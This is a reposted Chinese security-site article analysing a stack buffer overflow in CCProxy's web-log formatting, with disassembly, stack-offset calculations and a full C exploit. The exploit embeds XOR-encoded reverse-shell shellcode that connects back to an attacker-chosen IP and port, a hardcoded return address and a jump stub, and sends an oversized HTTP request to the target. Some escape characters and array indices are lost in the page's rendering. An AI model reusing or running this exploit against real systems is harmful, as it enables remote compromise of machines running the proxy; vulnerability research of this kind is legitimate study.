为了顺应当前形势和更好的发展,黑基网已于9月19日正式更名为【安基网】,域名更换为www.safebase.cn,请卸载旧的APP并安装新的APP,给您带来不便,敬请理解!谢谢

黑基Web安全攻防班
安基网 首页 IT技术 安全攻防 查看内容

CCProxy Log Stack Overflow 漏洞浅析

2009-2-4 09:31| 投稿: security

摘要: written by Ruder Homepage:http://ruder.cdut.net Email:cocoruder@163.com 最近忙找工作郁闷到了,第一次写溢出漏洞分析,高手...
written by Ruder Homepage:http://ruder.cdut.net Email:cocoruder@163.com 最近忙找工作郁闷到了,第一次写溢出漏洞分析,高手就省略吧,想借地方请教高手们一般如何挖掘溢出,偶写个Exploit就这么郁闷,真难以想象。 言归正传,这个漏洞发生在CCProxy写Web日志的时候,在日志内容格式化输出的时候没有检查日志内容的长度,而日志内容是由我们访问者提交的因而导致堆栈溢出,下面是有问题的代码。 .text:0040B14E push edx .text:0040B14F push eax .text:0040B150 lea ecx, [esp+28h+arg_528] .text:0040B157 push offset a04d02d02d02d02 ; "%04d-%02d-%02d %02d:%02d:%02d" .text:0040B15C push ecx .text:0040B15D call _sprintf .text:0040B162 lea edx, [esp+30h+arg_528] .text:0040B169 push ebx .text:0040B16A push edx .text:0040B16B lea eax, [esp+38h+wParam] .text:0040B172 push offset aSS ; "[%s] %s" ;格式化字符 .text:0040B177 push eax ;目标缓冲区A .text:0040B178 call _sprintf ;问题函数未做任何检查直接拷贝 .text:0040B17D add esp, 30h .text:0040B180 push offset CriticalSection ; lpCriticalSection .text:0040B185 call ds:EnterCriticalSection .text:0040B18B call ?AfxGetThread@@YGPAVCWinThread@@XZ ; AfxGetThread 初步分析在要执行_sprintf函数时堆栈的情况如下 esp ;目标缓冲区A---日志内容 esp+0x4 ;"[%s] %s" esp+0x8 ;日期-时间字符串地址 esp+0xc ;"访问者IP"+" unknown Web" ;比如我的IP是127.0.0.1就是 ;Point to "127.0.0.1 unknown Web" esp+0x10 ;和esp+0x8一样? esp+0x14 ;Point to "%04d-%02d-%02d %02d:%02d:%02d" esp+0x18 ;年 esp+0x1c ;月 esp+0x20 ;日 esp+0x24 ;时 esp+0x28 ;分 esp+0x2c ;秒 _sprintf函数执行后向[esp]中写入 [2004-11-02 16:47:36] 127.0.0.1 unknown Web GET /AAAAAAAAAAAAA.... 之类的内容,其中GET /AAAAAAAAAAAAAAAAAA是我们提交的数据,可见长度与访问者 IP长度有关 经分析以上代码属于sub_40B020函数,sub_40b020函数的返回地址-目标缓冲区A=0x1004 下面计算覆盖返回地址填充的长度(设为OverLen),设IP长度为IPLen strlen("[2004-11-02 16:47:36] ")+IPLen+strlen(" unknown Web ")+OverLen=0x1004 ==> OverLen=4065-IPLen 由此可写出Exploit,下面是偶从网上copy改了下的:) 在Win2000 Server sp4 CN上测试通过 #include <stdio.h> #include <windows.h> #include <winsock.h> #pragma comment(lib, "ws2_32") unsigned char EndChar[]= "x20x48x54x54x50x2Fx31x2Ex30x0Dx0Ax0Dx0A"; //结束标志 HTTP/1.0 unsigned char shellcode[] = "xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05" "xe8xedxffxffxff" /* 254 bytes shellcode, xor with 0xee */ /* offset 92=IP offset 99=PORT*/ "x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65" "x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee" "x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b" "x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef" "x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb" "x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84" "xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45" "x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf" "xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11" "xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0" "x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b" "xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05" "x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65" "xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11" "x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37" "xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97"; /* 整个构造好的溢出串如下: +------------------------------------------------------------------------------+ |前导字符|inc edx...inc edx|shellcode|0x7ffa54cd|跳转指令|结束字符| +------------------------------------------------------------------------------+ 前导字符长度+0x42个数+shellcode长度+IPLen(本地IP字符串长度)=4065 跳转指令: mov ecx,0x12811111 shr ecx,0x14 sub esp,ecx jmp esp 我刚写的时候出了几个问题,写出来希望对大家有帮助 1.前导字符和结束字符一定要准确无误,不然会被认为是未知连接请求 2.真正写的时候可适当放大ecx的值使之跳转到inc edx里面 */ void start(void) { printf("CCProxy Log Stack Overflow Exploit!n"); printf("written by Ruder 11/2004n"); printf("Bug found by Isno,See xfocus.comn"); printf("Homepage:http://ruder.cdut.netn";); printf("E-mail:cocoruder@163.comn"); } int main(int argc, char *argv[]) { WSADATA wsd; SOCKET sClient; int ret, i,tmp; struct sockaddr_in server,local; struct hostent *host = NULL; int IPLen; int a; char buff[4096] = {0}; char *IPStr; u_short tmp1; char *PORTStr; start(); if(argc != 5) { printf("usage: %s target port backIP backPortn", argv[0]); exit(1); } if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) { printf("Failed to load Winsock library!n"); return 1; } sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (sClient == INVALID_SOCKET) { printf("socket() failed: %dn", WSAGetLastError()); return 1; } //更新shellcode返回地址,端口 tmp=inet_addr(argv[3]); a=(DWORD)&tmp; //地址 IPStr=(char*)a; shellcode[92]=IPStr[0]^0xee; //IP shellcode[93]=IPStr[1]^0xee; shellcode[94]=IPStr[2]^0xee; shellcode[95]=IPStr[3]^0xee; tmp1=htons((u_short)atoi(argv[4])); a=(DWORD)&tmp1; PORTStr=(char*)a; shellcode[99]=PORTStr[0]^0xee; //PORT shellcode[100]=PORTStr[1]^0xee; server.sin_family = AF_INET; server.sin_port = htons((u_short)atoi(argv[2])); server.sin_addr.s_addr = inet_addr(argv[1]); if (server.sin_addr.s_addr == INADDR_NONE) { host = gethostbyname(argv[1]); if (host == NULL) { printf("Unable to resolve server: %sn", argv[1]); return 1; } CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length); } //连接到目标主机 if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) { printf("connect() failed: %dn", WSAGetLastError()); return 1; } //下面开始构造溢出串 a=sizeof(sockaddr_in); //本地IP字符串长度 if (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR) { printf("getsockname() failed: %dn", WSAGetLastError()); return 1; } IPLen=strlen(inet_ntoa(local.sin_addr)); //前导字符 buff[0]=0x47; buff[1]=0x45; buff[2]=0x54; buff[3]=0x20; buff[4]=0x2F; //填充INC EDX //计算填充0x42的个数 tmp=4065-sizeof(shellcode)-5-IPLen+1; for(i=5;i<tmp+5;i++) { buff=0x42; } CopyMemory(&buff,shellcode,sizeof(shellcode)); i=i+sizeof(shellcode)-1; buff=0xCD; buff[i+1]=0x54; buff[i+2]=0xFA; buff[i+3]=0x7F; i=i+4; //跳转指令 buff[i++]=0xB9; buff[i++]=0x11; buff[i++]=0x11; buff[i++]=0x81; buff[i++]=0x12; buff[i++]=0xC1; buff[i++]=0xE9; buff[i++]=0x14; buff[i++]=0x2B; buff[i++]=0xE1; buff[i++]=0xFF; buff[i++]=0xE4; //结束字符 CopyMemory(&buff,EndChar,sizeof(EndChar)); i=i+sizeof(EndChar); ret=send(sClient,buff,i-1,0); printf("send... buffer ok!good luck!n"); closesocket(sClient); WSACleanup(); return 0; }

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

最新

返回顶部